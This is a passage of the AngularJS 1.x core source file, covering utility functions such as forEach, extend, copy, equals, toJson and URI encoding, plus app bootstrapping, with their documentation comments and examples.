222 ? s.replace(/[a-z]/g, function(ch) {return String.fromCharCode(ch.charCodeAt(0) & ~32);})
223 : s;
224 };
225
226
227 // String#toLowerCase and String#toUpperCase don't produce correct results in browsers with Turkish
228 // locale, for this reason we need to detect this case and redefine lowercase/uppercase methods
229 // with correct but slower alternatives.
230 if ('i' !== 'I'.toLowerCase()) {
231 lowercase = manualLowercase;
232 uppercase = manualUppercase;
233 }
234
235
236 var /** holds major version number for IE or NaN for real browsers */
237 msie,
238 jqLite, // delay binding since jQuery could be loaded after us.
239 jQuery, // delay binding
240 slice = [].slice,
241 push = [].push,
242 toString = Object.prototype.toString,
243 ngMinErr = minErr('ng'),
244
245 /** @name angular */
246 angular = window.angular || (window.angular = {}),
247 angularModule,
248 nodeName_,
249 uid = ['0', '0', '0'];
250
251 /**
252 * IE 11 changed the format of the UserAgent string.
253 * See http://msdn.microsoft.com/en-us/library/ms537503.aspx
254 */
255 msie = int((/msie (\d+)/.exec(lowercase(navigator.userAgent)) || [])[1]);
256 if (isNaN(msie)) {
257 msie = int((/trident\/.*; rv:(\d+)/.exec(lowercase(navigator.userAgent)) || [])[1]);
258 }
259
260
261 /**
262 * @private
263 * @param {*} obj
264 * @return {boolean} Returns true if `obj` is an array or array-like object (NodeList, Arguments,
265 * String ...)
266 */
267 function isArrayLike(obj) {
268 if (obj == null || isWindow(obj)) {
269 return false;
270 }
271
272 var length = obj.length;
273
274 if (obj.nodeType === 1 && length) {
275 return true;
276 }
277
278 return isString(obj) || isArray(obj) || length === 0 ||
279 typeof length === 'number' && length > 0 && (length - 1) in obj;
280 }
281
282 /**
283 * @ngdoc function
284 * @name angular.forEach
285 * @module ng
286 * @kind function
287 *
288 * @description
289 * Invokes the `iterator` function once for each item in `obj` collection, which can be either an
290 * object or an array. The `iterator` function is invoked with `iterator(value, key)`, where `value`
291 * is the value of an object property or an array element and `key` is the object property key or
292 * array element index. Specifying a `context` for the function is optional.
293 *
294 * It is worth noting that `.forEach` does not iterate over inherited properties because it filters
295 * using the `hasOwnProperty` method.
296 *
297 ```js
298 var values = {name: 'misko', gender: 'male'};
299 var log = [];
300 angular.forEach(values, function(value, key) {
301 this.push(key + ': ' + value);
302 }, log);
303 expect(log).toEqual(['name: misko', 'gender: male']);
304 ```
305 *
306 * @param {Object|Array} obj Object to iterate over.
307 * @param {Function} iterator Iterator function.
308 * @param {Object=} context Object to become context (`this`) for the iterator function.
309 * @returns {Object|Array} Reference to `obj`.
310 */
311 function forEach(obj, iterator, context) {
312 var key;
313 if (obj) {
314 if (isFunction(obj)) {
315 for (key in obj) {
316 // Need to check if hasOwnProperty exists,
317 // as on IE8 the result of querySelectorAll is an object without a hasOwnProperty function
318 if (key != 'prototype' && key != 'length' && key != 'name' && (!obj.hasOwnProperty || obj.hasOwnProperty(key))) {
319 iterator.call(context, obj[key], key);
320 }
321 }
322 } else if (isArray(obj) || isArrayLike(obj)) {
323 for (key = 0; key < obj.length; key++) {
324 iterator.call(context, obj[key], key);
325 }
326 } else if (obj.forEach && obj.forEach !== forEach) {
327 obj.forEach(iterator, context);
328 } else {
329 for (key in obj) {
330 if (obj.hasOwnProperty(key)) {
331 iterator.call(context, obj[key], key);
332 }
333 }
334 }
335 }
336 return obj;
337 }
338
339 function sortedKeys(obj) {
340 var keys = [];
341 for (var key in obj) {
342 if (obj.hasOwnProperty(key)) {
343 keys.push(key);
344 }
345 }
346 return keys.sort();
347 }
348
349 function forEachSorted(obj, iterator, context) {
350 var keys = sortedKeys(obj);
351 for ( var i = 0; i < keys.length; i++) {
352 iterator.call(context, obj[keys[i]], keys[i]);
353 }
354 return keys;
355 }
356
357
358 /**
359 * when using forEach the params are value, key, but it is often useful to have key, value.
360 * @param {function(string, *)} iteratorFn
361 * @returns {function(*, string)}
362 */
363 function reverseParams(iteratorFn) {
364 return function(value, key) { iteratorFn(key, value); };
365 }
366
367 /**
368 * A consistent way of creating unique IDs in angular. The ID is a sequence of alpha numeric
369 * characters such as '012ABC'. The reason why we are not using simply a number counter is that
370 * the number string gets longer over time, and it can also overflow, where as the nextId
371 * will grow much slower, it is a string, and it will never overflow.
372 *
373 * @returns {string} an unique alpha-numeric string
374 */
375 function nextUid() {
376 var index = uid.length;
377 var digit;
378
379 while(index) {
380 index--;
381 digit = uid[index].charCodeAt(0);
382 if (digit == 57 /*'9'*/) {
383 uid[index] = 'A';
384 return uid.join('');
385 }
386 if (digit == 90 /*'Z'*/) {
387 uid[index] = '0';
388 } else {
389 uid[index] = String.fromCharCode(digit + 1);
390 return uid.join('');
391 }
392 }
393 uid.unshift('0');
394 return uid.join('');
395 }
396
397
398 /**
399 * Set or clear the hashkey for an object.
400 * @param obj object
401 * @param h the hashkey (!truthy to delete the hashkey)
402 */
403 function setHashKey(obj, h) {
404 if (h) {
405 obj.$$hashKey = h;
406 }
407 else {
408 delete obj.$$hashKey;
409 }
410 }
411
412 /**
413 * @ngdoc function
414 * @name angular.extend
415 * @module ng
416 * @kind function
417 *
418 * @description
419 * Extends the destination object `dst` by copying all of the properties from the `src` object(s)
420 * to `dst`. You can specify multiple `src` objects.
421 *
422 * @param {Object} dst Destination object.
423 * @param {...Object} src Source object(s).
424 * @returns {Object} Reference to `dst`.
425 */
426 function extend(dst) {
427 var h = dst.$$hashKey;
428 forEach(arguments, function(obj) {
429 if (obj !== dst) {
430 forEach(obj, function(value, key) {
431 dst[key] = value;
432 });
433 }
434 });
435
436 setHashKey(dst,h);
437 return dst;
438 }
439
440 function int(str) {
441 return parseInt(str, 10);
442 }
443
444
445 function inherit(parent, extra) {
446 return extend(new (extend(function() {}, {prototype:parent}))(), extra);
447 }
448
449 /**
450 * @ngdoc function
451 * @name angular.noop
452 * @module ng
453 * @kind function
454 *
455 * @description
456 * A function that performs no operations. This function can be useful when writing code in the
457 * functional style.
458 ```js
459 function foo(callback) {
460 var result = calculateResult();
461 (callback || angular.noop)(result);
462 }
463 ```
464 */
465 function noop() {}
466 noop.$inject = [];
467
468
469 /**
470 * @ngdoc function
471 * @name angular.identity
472 * @module ng
473 * @kind function
474 *
475 * @description
476 * A function that returns its first argument. This function is useful when writing code in the
477 * functional style.
478 *
479 ```js
480 function transformer(transformationFn, value) {
481 return (transformationFn || angular.identity)(value);
482 };
483 ```
484 */
485 function identity($) {return $;}
486 identity.$inject = [];
487
488
489 function valueFn(value) {return function() {return value;};}
490
491 /**
492 * @ngdoc function
493 * @name angular.isUndefined
494 * @module ng
495 * @kind function
496 *
497 * @description
498 * Determines if a reference is undefined.
499 *
500 * @param {*} value Reference to check.
501 * @returns {boolean} True if `value` is undefined.
502 */
503 function isUndefined(value){return typeof value === 'undefined';}
504
505
506 /**
507 * @ngdoc function
508 * @name angular.isDefined
509 * @module ng
510 * @kind function
511 *
512 * @description
513 * Determines if a reference is defined.
514 *
515 * @param {*} value Reference to check.
516 * @returns {boolean} True if `value` is defined.
517 */
518 function isDefined(value){return typeof value !== 'undefined';}
519
520
521 /**
522 * @ngdoc function
523 * @name angular.isObject
524 * @module ng
525 * @kind function
526 *
527 * @description
528 * Determines if a reference is an `Object`. Unlike `typeof` in JavaScript, `null`s are not
529 * considered to be objects. Note that JavaScript arrays are objects.
530 *
531 * @param {*} value Reference to check.
532 * @returns {boolean} True if `value` is an `Object` but not `null`.
533 */
534 function isObject(value){return value != null && typeof value === 'object';}
535
536
537 /**
538 * @ngdoc function
539 * @name angular.isString
540 * @module ng
541 * @kind function
542 *
543 * @description
544 * Determines if a reference is a `String`.
545 *
546 * @param {*} value Reference to check.
547 * @returns {boolean} True if `value` is a `String`.
548 */
549 function isString(value){return typeof value === 'string';}
550
551
552 /**
553 * @ngdoc function
554 * @name angular.isNumber
555 * @module ng
556 * @kind function
557 *
558 * @description
559 * Determines if a reference is a `Number`.
560 *
561 * @param {*} value Reference to check.
562 * @returns {boolean} True if `value` is a `Number`.
563 */
564 function isNumber(value){return typeof value === 'number';}
565
566
567 /**
568 * @ngdoc function
569 * @name angular.isDate
570 * @module ng
571 * @kind function
572 *
573 * @description
574 * Determines if a value is a date.
575 *
576 * @param {*} value Reference to check.
577 * @returns {boolean} True if `value` is a `Date`.
578 */
579 function isDate(value) {
580 return toString.call(value) === '[object Date]';
581 }
582
583
584 /**
585 * @ngdoc function
586 * @name angular.isArray
587 * @module ng
588 * @kind function
589 *
590 * @description
591 * Determines if a reference is an `Array`.
592 *
593 * @param {*} value Reference to check.
594 * @returns {boolean} True if `value` is an `Array`.
595 */
596 var isArray = (function() {
597 if (!isFunction(Array.isArray)) {
598 return function(value) {
599 return toString.call(value) === '[object Array]';
600 };
601 }
602 return Array.isArray;
603 })();
604
605 /**
606 * @ngdoc function
607 * @name angular.isFunction
608 * @module ng
609 * @kind function
610 *
611 * @description
612 * Determines if a reference is a `Function`.
613 *
614 * @param {*} value Reference to check.
615 * @returns {boolean} True if `value` is a `Function`.
616 */
617 function isFunction(value){return typeof value === 'function';}
618
619
620 /**
621 * Determines if a value is a regular expression object.
622 *
623 * @private
624 * @param {*} value Reference to check.
625 * @returns {boolean} True if `value` is a `RegExp`.
626 */
627 function isRegExp(value) {
628 return toString.call(value) === '[object RegExp]';
629 }
630
631
632 /**
633 * Checks if `obj` is a window object.
634 *
635 * @private
636 * @param {*} obj Object to check
637 * @returns {boolean} True if `obj` is a window obj.
638 */
639 function isWindow(obj) {
640 return obj && obj.document && obj.location && obj.alert && obj.setInterval;
641 }
642
643
644 function isScope(obj) {
645 return obj && obj.$evalAsync && obj.$watch;
646 }
647
648
649 function isFile(obj) {
650 return toString.call(obj) === '[object File]';
651 }
652
653
654 function isBlob(obj) {
655 return toString.call(obj) === '[object Blob]';
656 }
657
658
659 function isBoolean(value) {
660 return typeof value === 'boolean';
661 }
662
663
664 function isPromiseLike(obj) {
665 return obj && isFunction(obj.then);
666 }
667
668
669 var trim = (function() {
670 // native trim is way faster: http://jsperf.com/angular-trim-test
671 // but IE doesn't have it... :-(
672 // TODO: we should move this into IE/ES5 polyfill
673 if (!String.prototype.trim) {
674 return function(value) {
675 return isString(value) ? value.replace(/^\s\s*/, '').replace(/\s\s*$/, '') : value;
676 };
677 }
678 return function(value) {
679 return isString(value) ? value.trim() : value;
680 };
681 })();
682
683
684 /**
685 * @ngdoc function
686 * @name angular.isElement
687 * @module ng
688 * @kind function
689 *
690 * @description
691 * Determines if a reference is a DOM element (or wrapped jQuery element).
692 *
693 * @param {*} value Reference to check.
694 * @returns {boolean} True if `value` is a DOM element (or wrapped jQuery element).
695 */
696 function isElement(node) {
697 return !!(node &&
698 (node.nodeName // we are a direct element
699 || (node.prop && node.attr && node.find))); // we have an on and find method part of jQuery API
700 }
701
702 /**
703 * @param str 'key1,key2,...'
704 * @returns {object} in the form of {key1:true, key2:true, ...}
705 */
706 function makeMap(str) {
707 var obj = {}, items = str.split(","), i;
708 for ( i = 0; i < items.length; i++ )
709 obj[ items[i] ] = true;
710 return obj;
711 }
712
713
714 if (msie < 9) {
715 nodeName_ = function(element) {
716 element = element.nodeName ? element : element[0];
717 return (element.scopeName && element.scopeName != 'HTML')
718 ? uppercase(element.scopeName + ':' + element.nodeName) : element.nodeName;
719 };
720 } else {
721 nodeName_ = function(element) {
722 return element.nodeName ? element.nodeName : element[0].nodeName;
723 };
724 }
725
726
727 function map(obj, iterator, context) {
728 var results = [];
729 forEach(obj, function(value, index, list) {
730 results.push(iterator.call(context, value, index, list));
731 });
732 return results;
733 }
734
735
736 /**
737 * @description
738 * Determines the number of elements in an array, the number of properties an object has, or
739 * the length of a string.
740 *
741 * Note: This function is used to augment the Object type in Angular expressions. See
742 * {@link angular.Object} for more information about Angular arrays.
743 *
744 * @param {Object|Array|string} obj Object, array, or string to inspect.
745 * @param {boolean} [ownPropsOnly=false] Count only "own" properties in an object
746 * @returns {number} The size of `obj` or `0` if `obj` is neither an object nor an array.
747 */
748 function size(obj, ownPropsOnly) {
749 var count = 0, key;
750
751 if (isArray(obj) || isString(obj)) {
752 return obj.length;
753 } else if (isObject(obj)) {
754 for (key in obj)
755 if (!ownPropsOnly || obj.hasOwnProperty(key))
756 count++;
757 }
758
759 return count;
760 }
761
762
763 function includes(array, obj) {
764 return indexOf(array, obj) != -1;
765 }
766
767 function indexOf(array, obj) {
768 if (array.indexOf) return array.indexOf(obj);
769
770 for (var i = 0; i < array.length; i++) {
771 if (obj === array[i]) return i;
772 }
773 return -1;
774 }
775
776 function arrayRemove(array, value) {
777 var index = indexOf(array, value);
778 if (index >=0)
779 array.splice(index, 1);
780 return value;
781 }
782
783 function isLeafNode (node) {
784 if (node) {
785 switch (node.nodeName) {
786 case "OPTION":
787 case "PRE":
788 case "TITLE":
789 return true;
790 }
791 }
792 return false;
793 }
794
795 /**
796 * @ngdoc function
797 * @name angular.copy
798 * @module ng
799 * @kind function
800 *
801 * @description
802 * Creates a deep copy of `source`, which should be an object or an array.
803 *
804 * * If no destination is supplied, a copy of the object or array is created.
805 * * If a destination is provided, all of its elements (for array) or properties (for objects)
806 * are deleted and then all elements/properties from the source are copied to it.
807 * * If `source` is not an object or array (inc. `null` and `undefined`), `source` is returned.
808 * * If `source` is identical to 'destination' an exception will be thrown.
809 *
810 * @param {*} source The source that will be used to make a copy.
811 * Can be any type, including primitives, `null`, and `undefined`.
812 * @param {(Object|Array)=} destination Destination into which the source is copied. If
813 * provided, must be of the same type as `source`.
814 * @returns {*} The copy or updated `destination`, if `destination` was specified.
815 *
816 * @example
817 <example module="copyExample">
818 <file name="index.html">
819 <div ng-controller="ExampleController">
820 <form novalidate class="simple-form">
821 Name: <input type="text" ng-model="user.name" /><br />
822 E-mail: <input type="email" ng-model="user.email" /><br />
823 Gender: <input type="radio" ng-model="user.gender" value="male" />male
824 <input type="radio" ng-model="user.gender" value="female" />female<br />
825 <button ng-click="reset()">RESET</button>
826 <button ng-click="update(user)">SAVE</button>
827 </form>
828 <pre>form = {{user | json}}</pre>
829 <pre>master = {{master | json}}</pre>
830 </div>
831
832 <script>
833 angular.module('copyExample', [])
834 .controller('ExampleController', ['$scope', function($scope) {
835 $scope.master= {};
836
837 $scope.update = function(user) {
838 // Example with 1 argument
839 $scope.master= angular.copy(user);
840 };
841
842 $scope.reset = function() {
843 // Example with 2 arguments
844 angular.copy($scope.master, $scope.user);
845 };
846
847 $scope.reset();
848 }]);
849 </script>
850 </file>
851 </example>
852 */
853 function copy(source, destination, stackSource, stackDest) {
854 if (isWindow(source) || isScope(source)) {
855 throw ngMinErr('cpws',
856 "Can't copy! Making copies of Window or Scope instances is not supported.");
857 }
858
859 if (!destination) {
860 destination = source;
861 if (source) {
862 if (isArray(source)) {
863 destination = copy(source, [], stackSource, stackDest);
864 } else if (isDate(source)) {
865 destination = new Date(source.getTime());
866 } else if (isRegExp(source)) {
867 destination = new RegExp(source.source, source.toString().match(/[^\/]*$/)[0]);
868 destination.lastIndex = source.lastIndex;
869 } else if (isObject(source)) {
870 destination = copy(source, {}, stackSource, stackDest);
871 }
872 }
873 } else {
874 if (source === destination) throw ngMinErr('cpi',
875 "Can't copy! Source and destination are identical.");
876
877 stackSource = stackSource || [];
878 stackDest = stackDest || [];
879
880 if (isObject(source)) {
881 var index = indexOf(stackSource, source);
882 if (index !== -1) return stackDest[index];
883
884 stackSource.push(source);
885 stackDest.push(destination);
886 }
887
888 var result;
889 if (isArray(source)) {
890 destination.length = 0;
891 for ( var i = 0; i < source.length; i++) {
892 result = copy(source[i], null, stackSource, stackDest);
893 if (isObject(source[i])) {
894 stackSource.push(source[i]);
895 stackDest.push(result);
896 }
897 destination.push(result);
898 }
899 } else {
900 var h = destination.$$hashKey;
901 if (isArray(destination)) {
902 destination.length = 0;
903 } else {
904 forEach(destination, function(value, key) {
905 delete destination[key];
906 });
907 }
908 for ( var key in source) {
909 result = copy(source[key], null, stackSource, stackDest);
910 if (isObject(source[key])) {
911 stackSource.push(source[key]);
912 stackDest.push(result);
913 }
914 destination[key] = result;
915 }
916 setHashKey(destination,h);
917 }
918
919 }
920 return destination;
921 }
922
923 /**
924 * Creates a shallow copy of an object, an array or a primitive
925 */
926 function shallowCopy(src, dst) {
927 if (isArray(src)) {
928 dst = dst || [];
929
930 for ( var i = 0; i < src.length; i++) {
931 dst[i] = src[i];
932 }
933 } else if (isObject(src)) {
934 dst = dst || {};
935
936 for (var key in src) {
937 if (hasOwnProperty.call(src, key) && !(key.charAt(0) === '$' && key.charAt(1) === '$')) {
938 dst[key] = src[key];
939 }
940 }
941 }
942
943 return dst || src;
944 }
945
946
947 /**
948 * @ngdoc function
949 * @name angular.equals
950 * @module ng
951 * @kind function
952 *
953 * @description
954 * Determines if two objects or two values are equivalent. Supports value types, regular
955 * expressions, arrays and objects.
956 *
957 * Two objects or values are considered equivalent if at least one of the following is true:
958 *
959 * * Both objects or values pass `===` comparison.
960 * * Both objects or values are of the same type and all of their properties are equal by
961 * comparing them with `angular.equals`.
962 * * Both values are NaN. (In JavaScript, NaN == NaN => false. But we consider two NaN as equal)
963 * * Both values represent the same regular expression (In JavaScript,
964 * /abc/ == /abc/ => false. But we consider two regular expressions as equal when their textual
965 * representation matches).
966 *
967 * During a property comparison, properties of `function` type and properties with names
968 * that begin with `$` are ignored.
969 *
970 * Scope and DOMWindow objects are being compared only by identify (`===`).
971 *
972 * @param {*} o1 Object or value to compare.
973 * @param {*} o2 Object or value to compare.
974 * @returns {boolean} True if arguments are equal.
975 */
976 function equals(o1, o2) {
977 if (o1 === o2) return true;
978 if (o1 === null || o2 === null) return false;
979 if (o1 !== o1 && o2 !== o2) return true; // NaN === NaN
980 var t1 = typeof o1, t2 = typeof o2, length, key, keySet;
981 if (t1 == t2) {
982 if (t1 == 'object') {
983 if (isArray(o1)) {
984 if (!isArray(o2)) return false;
985 if ((length = o1.length) == o2.length) {
986 for(key=0; key<length; key++) {
987 if (!equals(o1[key], o2[key])) return false;
988 }
989 return true;
990 }
991 } else if (isDate(o1)) {
992 if (!isDate(o2)) return false;
993 return (isNaN(o1.getTime()) && isNaN(o2.getTime())) || (o1.getTime() === o2.getTime());
994 } else if (isRegExp(o1) && isRegExp(o2)) {
995 return o1.toString() == o2.toString();
996 } else {
997 if (isScope(o1) || isScope(o2) || isWindow(o1) || isWindow(o2) || isArray(o2)) return false;
998 keySet = {};
999 for(key in o1) {
1000 if (key.charAt(0) === '$' || isFunction(o1[key])) continue;
1001 if (!equals(o1[key], o2[key])) return false;
1002 keySet[key] = true;
1003 }
1004 for(key in o2) {
1005 if (!keySet.hasOwnProperty(key) &&
1006 key.charAt(0) !== '$' &&
1007 o2[key] !== undefined &&
1008 !isFunction(o2[key])) return false;
1009 }
1010 return true;
1011 }
1012 }
1013 }
1014 return false;
1015 }
1016
1017 var csp = function() {
1018 if (isDefined(csp.isActive_)) return csp.isActive_;
1019
1020 var active = !!(document.querySelector('[ng-csp]') ||
1021 document.querySelector('[data-ng-csp]'));
1022
1023 if (!active) {
1024 try {
1025 /* jshint -W031, -W054 */
1026 new Function('');
1027 /* jshint +W031, +W054 */
1028 } catch (e) {
1029 active = true;
1030 }
1031 }
1032
1033 return (csp.isActive_ = active);
1034 };
1035
1036
1037
1038 function concat(array1, array2, index) {
1039 return array1.concat(slice.call(array2, index));
1040 }
1041
1042 function sliceArgs(args, startIndex) {
1043 return slice.call(args, startIndex || 0);
1044 }
1045
1046
1047 /* jshint -W101 */
1048 /**
1049 * @ngdoc function
1050 * @name angular.bind
1051 * @module ng
1052 * @kind function
1053 *
1054 * @description
1055 * Returns a function which calls function `fn` bound to `self` (`self` becomes the `this` for
1056 * `fn`). You can supply optional `args` that are prebound to the function. This feature is also
1057 * known as [partial application](http://en.wikipedia.org/wiki/Partial_application), as
1058 * distinguished from [function currying](http://en.wikipedia.org/wiki/Currying#Contrast_with_partial_function_application).
1059 *
1060 * @param {Object} self Context which `fn` should be evaluated in.
1061 * @param {function()} fn Function to be bound.
1062 * @param {...*} args Optional arguments to be prebound to the `fn` function call.
1063 * @returns {function()} Function that wraps the `fn` with all the specified bindings.
1064 */
1065 /* jshint +W101 */
1066 function bind(self, fn) {
1067 var curryArgs = arguments.length > 2 ? sliceArgs(arguments, 2) : [];
1068 if (isFunction(fn) && !(fn instanceof RegExp)) {
1069 return curryArgs.length
1070 ? function() {
1071 return arguments.length
1072 ? fn.apply(self, curryArgs.concat(slice.call(arguments, 0)))
1073 : fn.apply(self, curryArgs);
1074 }
1075 : function() {
1076 return arguments.length
1077 ? fn.apply(self, arguments)
1078 : fn.call(self);
1079 };
1080 } else {
1081 // in IE, native methods are not functions so they cannot be bound (note: they don't need to be)
1082 return fn;
1083 }
1084 }
1085
1086
1087 function toJsonReplacer(key, value) {
1088 var val = value;
1089
1090 if (typeof key === 'string' && key.charAt(0) === '$') {
1091 val = undefined;
1092 } else if (isWindow(value)) {
1093 val = '$WINDOW';
1094 } else if (value && document === value) {
1095 val = '$DOCUMENT';
1096 } else if (isScope(value)) {
1097 val = '$SCOPE';
1098 }
1099
1100 return val;
1101 }
1102
1103
1104 /**
1105 * @ngdoc function
1106 * @name angular.toJson
1107 * @module ng
1108 * @kind function
1109 *
1110 * @description
1111 * Serializes input into a JSON-formatted string. Properties with leading $ characters will be
1112 * stripped since angular uses this notation internally.
1113 *
1114 * @param {Object|Array|Date|string|number} obj Input to be serialized into JSON.
1115 * @param {boolean=} pretty If set to true, the JSON output will contain newlines and whitespace.
1116 * @returns {string|undefined} JSON-ified string representing `obj`.
1117 */
1118 function toJson(obj, pretty) {
1119 if (typeof obj === 'undefined') return undefined;
1120 return JSON.stringify(obj, toJsonReplacer, pretty ? ' ' : null);
1121 }
1122
1123
1124 /**
1125 * @ngdoc function
1126 * @name angular.fromJson
1127 * @module ng
1128 * @kind function
1129 *
1130 * @description
1131 * Deserializes a JSON string.
1132 *
1133 * @param {string} json JSON string to deserialize.
1134 * @returns {Object|Array|string|number} Deserialized thingy.
1135 */
1136 function fromJson(json) {
1137 return isString(json)
1138 ? JSON.parse(json)
1139 : json;
1140 }
1141
1142
1143 function toBoolean(value) {
1144 if (typeof value === 'function') {
1145 value = true;
1146 } else if (value && value.length !== 0) {
1147 var v = lowercase("" + value);
1148 value = !(v == 'f' || v == '0' || v == 'false' || v == 'no' || v == 'n' || v == '[]');
1149 } else {
1150 value = false;
1151 }
1152 return value;
1153 }
1154
1155 /**
1156 * @returns {string} Returns the string representation of the element.
1157 */
1158 function startingTag(element) {
1159 element = jqLite(element).clone();
1160 try {
1161 // turns out IE does not let you set .html() on elements which
1162 // are not allowed to have children. So we just ignore it.
1163 element.empty();
1164 } catch(e) {}
1165 // As Per DOM Standards
1166 var TEXT_NODE = 3;
1167 var elemHtml = jqLite('<div>').append(element).html();
1168 try {
1169 return element[0].nodeType === TEXT_NODE ? lowercase(elemHtml) :
1170 elemHtml.
1171 match(/^(<[^>]+>)/)[1].
1172 replace(/^<([\w\-]+)/, function(match, nodeName) { return '<' + lowercase(nodeName); });
1173 } catch(e) {
1174 return lowercase(elemHtml);
1175 }
1176
1177 }
1178
1179
1180 /////////////////////////////////////////////////
1181
1182 /**
1183 * Tries to decode the URI component without throwing an exception.
1184 *
1185 * @private
1186 * @param str value potential URI component to check.
1187 * @returns {boolean} True if `value` can be decoded
1188 * with the decodeURIComponent function.
1189 */
1190 function tryDecodeURIComponent(value) {
1191 try {
1192 return decodeURIComponent(value);
1193 } catch(e) {
1194 // Ignore any invalid uri component
1195 }
1196 }
1197
1198
1199 /**
1200 * Parses an escaped url query string into key-value pairs.
1201 * @returns {Object.<string,boolean|Array>}
1202 */
1203 function parseKeyValue(/**string*/keyValue) {
1204 var obj = {}, key_value, key;
1205 forEach((keyValue || "").split('&'), function(keyValue) {
1206 if ( keyValue ) {
1207 key_value = keyValue.replace(/\+/g,'%20').split('=');
1208 key = tryDecodeURIComponent(key_value[0]);
1209 if ( isDefined(key) ) {
1210 var val = isDefined(key_value[1]) ? tryDecodeURIComponent(key_value[1]) : true;
1211 if (!hasOwnProperty.call(obj, key)) {
1212 obj[key] = val;
1213 } else if(isArray(obj[key])) {
1214 obj[key].push(val);
1215 } else {
1216 obj[key] = [obj[key],val];
1217 }
1218 }
1219 }
1220 });
1221 return obj;
1222 }
1223
1224 function toKeyValue(obj) {
1225 var parts = [];
1226 forEach(obj, function(value, key) {
1227 if (isArray(value)) {
1228 forEach(value, function(arrayValue) {
1229 parts.push(encodeUriQuery(key, true) +
1230 (arrayValue === true ? '' : '=' + encodeUriQuery(arrayValue, true)));
1231 });
1232 } else {
1233 parts.push(encodeUriQuery(key, true) +
1234 (value === true ? '' : '=' + encodeUriQuery(value, true)));
1235 }
1236 });
1237 return parts.length ? parts.join('&') : '';
1238 }
1239
1240
1241 /**
1242 * We need our custom method because encodeURIComponent is too aggressive and doesn't follow
1243 * http://www.ietf.org/rfc/rfc3986.txt with regards to the character set (pchar) allowed in path
1244 * segments:
1245 * segment = *pchar
1246 * pchar = unreserved / pct-encoded / sub-delims / ":" / "@"
1247 * pct-encoded = "%" HEXDIG HEXDIG
1248 * unreserved = ALPHA / DIGIT / "-" / "." / "_" / "~"
1249 * sub-delims = "!" / "$" / "&" / "'" / "(" / ")"
1250 * / "*" / "+" / "," / ";" / "="
1251 */
1252 function encodeUriSegment(val) {
1253 return encodeUriQuery(val, true).
1254 replace(/%26/gi, '&').
1255 replace(/%3D/gi, '=').
1256 replace(/%2B/gi, '+');
1257 }
1258
1259
1260 /**
1261 * This method is intended for encoding *key* or *value* parts of query component. We need a custom
1262 * method because encodeURIComponent is too aggressive and encodes stuff that doesn't have to be
1263 * encoded per http://tools.ietf.org/html/rfc3986:
1264 * query = *( pchar / "/" / "?" )
1265 * pchar = unreserved / pct-encoded / sub-delims / ":" / "@"
1266 * unreserved = ALPHA / DIGIT / "-" / "." / "_" / "~"
1267 * pct-encoded = "%" HEXDIG HEXDIG
1268 * sub-delims = "!" / "$" / "&" / "'" / "(" / ")"
1269 * / "*" / "+" / "," / ";" / "="
1270 */
1271 function encodeUriQuery(val, pctEncodeSpaces) {
1272 return encodeURIComponent(val).
1273 replace(/%40/gi, '@').
1274 replace(/%3A/gi, ':').
1275 replace(/%24/g, '$').
1276 replace(/%2C/gi, ',').
1277 replace(/%20/g, (pctEncodeSpaces ? '%20' : '+'));
1278 }
1279
1280
1281 /**
1282 * @ngdoc directive
1283 * @name ngApp
1284 * @module ng
1285 *
1286 * @element ANY
1287 * @param {angular.Module} ngApp an optional application
1288 * {@link angular.module module} name to load.
1289 *
1290 * @description
1291 *
1292 * Use this directive to **auto-bootstrap** an AngularJS application. The `ngApp` directive
1293 * designates the **root element** of the application and is typically placed near the root element
1294 * of the page - e.g. on the `<body>` or `<html>` tags.
1295 *
1296 * Only one AngularJS application can be auto-bootstrapped per HTML document. The first `ngApp`
1297 * found in the document will be used to define the root element to auto-bootstrap as an
1298 * application. To run multiple applications in an HTML document you must manually bootstrap them using
1299 * {@link angular.bootstrap} instead. AngularJS applications cannot be nested within each other.
1300 *
1301 * You can specify an **AngularJS module** to be used as the root module for the application. This
1302 * module will be loaded into the {@link auto.$injector} when the application is bootstrapped and
1303 * should contain the application code needed or have dependencies on other modules that will
1304 * contain the code. See {@link angular.module} for more information.
1305 *
1306 * In the example below if the `ngApp` directive were not placed on the `html` element then the
1307 * document would not be compiled, the `AppController` would not be instantiated and the `{{ a+b }}`
1308 * would not be resolved to `3`.
1309 *
1310 * `ngApp` is the easiest, and most common, way to bootstrap an application.
1311 *
1312 <example module="ngAppDemo">
1313 <file name="index.html">
1314 <div ng-controller="ngAppDemoController">
1315 I can add: {{a}} + {{b}} = {{ a+b }}
1316 </div>
1317 </file>
1318 <file name="script.js">
1319 angular.module('ngAppDemo', []).controller('ngAppDemoController', function($scope) {
1320 $scope.a = 1;
1321 $scope.b = 2;
1322 });
1323 </file>
1324 </example>
1325 *
1326 */
1327 function angularInit(element, bootstrap) {
1328 var elements = [element],
1329 appElement,
1330 module,
1331 names = ['ng:app', 'ng-app', 'x-ng-app', 'data-ng-app'],
1332 NG_APP_CLASS_REGEXP = /\sng[:\-]app(:\s*([\w\d_]+);?)?\s/;
1333
1334 function append(element) {
1335 element && elements.push(element);
1336 }
1337
1338 forEach(names, function(name) {
1339 names[name] = true;
1340 append(document.getElementById(name));
1341 name = name.replace(':', '\\:');
1342 if (element.querySelectorAll) {
1343 forEach(element.querySelectorAll('.' + name), append);
1344 forEach(element.querySelectorAll('.' + name + '\\:'), append);
1345 forEach(element.querySelectorAll('[' + name + ']'), append);
1346 }
1347 });
1348
1349 forEach(elements, function(element) {
1350 if (!appElement) {
1351 var className = ' ' + element.className + ' ';
1352 var match = NG_APP_CLASS_REGEXP.exec(className);
1353 if (match) {
1354 appElement = element;
1355 module = (match[2] || '').replace(/\s+/g, ',');
1356 } else {
1357 forEach(element.attributes, function(attr) {
1358 if (!appElement && names[attr.name]) {
1359 appElement = element;
1360 module = attr.value;
1361 }
1362 });
1363 }
1364 }
1365 });
1366 if (appElement) {
1367 bootstrap(appElement, module ? [module] : []);
1368 }
1369 }
1370
1371 /**
1372 * @ngdoc function
1373 * @name angular.bootstrap
1374 * @module ng
1375 * @description
1376 * Use this function to manually start up angular application.
1377 *
1378 * See: {@link guide/bootstrap Bootstrap}
1379 *
1380 * Note that ngScenario-based end-to-end tests cannot use this function to bootstrap manually.
1381 * They must use {@link ng.directive:ngApp ngApp}.
1382 *
1383 * Angular will detect if it has been loaded into the browser more than once and only allow the
1384 * first loaded script to be bootstrapped and will report a warning to the browser console for
1385 * each of the subsequent scripts. This prevents strange results in applications, where otherwise
1386 * multiple instances of Angular try to work on the DOM.
1387 *
1388 * <example name="multi-bootstrap" module="multi-bootstrap">
1389 * <file name="index.html">
1390 * <script src="../../../angular.js"></script>
